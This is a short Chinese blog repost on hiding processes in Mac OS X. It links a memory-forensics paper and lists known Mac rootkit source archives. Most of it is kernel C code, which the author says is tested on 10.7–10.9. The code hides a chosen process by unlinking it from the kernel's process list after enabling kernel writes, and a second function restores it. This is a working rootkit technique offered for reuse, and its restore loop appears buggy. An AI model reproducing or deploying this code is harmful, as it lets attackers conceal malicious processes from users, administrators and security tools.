Mac OS X 隐藏进程相关资料

来源：互联网发布：手机桌面计时器软件编辑：程序博客网时间：2024/05/22 09:42

http://forensic.n0fate.com/wp-content/uploads/2012/12/Hunting-Mac-OS-X-rootkit-with-Memory-Forensics.pdf

参考codes：

frasm-master.zip

inficere-master.zip

onyx-the-black-cat-master.zip

rubilyn-0.0.1.tar.gz

KernelResolver-master

等等 Google、github上的资源

关键代码：作参考吧亲测支持10.7-10.9

int hideproc(int pid){    if ( pid <= 0 ) {        return -1;    }        if (init_kernel_info(&g_kernel_info_hide_proc) != KERN_SUCCESS)    {        return KERN_FAILURE;    }        //    IOLog("\nHide Proc!!!\n");    if(string_handler()==0)    {        struct proc* p;        if(pid!=0)        {            for (p = my_allproc->lh_first; p != 0; p = p->p_list.le_next)            {                if(pid == p->p_pid)                {                    if(hidden_p_count < MAX_HIDDEN_PROCESS)                    {                        // 记录该进程                        hidden_p[hidden_p_count]=p;                        hidden_p_count++;                                                // 隐藏该进程                        enable_kernel_write();                        my_proc_list_lock();                                                                        LIST_REMOVE(p, p_list);                                                                        my_proc_list_unlock();                        disable_kernel_write();                                                return 1;                    }                }            }        }    }    return 0;}/* put the proc back via deceptikom */int unhideproc(int pid){    struct proc* p;    int count;    if(pid!=0){        if(hidden_p_count > 0)        {            for(count = 0;count < hidden_p_count;count++) // 1t            {                p = hidden_p[count];                enable_kernel_write_v2();                my_proc_list_lock();                                LIST_INSERT_HEAD(my_allproc,p,p_list);                my_proc_list_unlock();                disable_kernel_write_v2();                hidden_p_count--;            }        }    }    return 0;}

0 0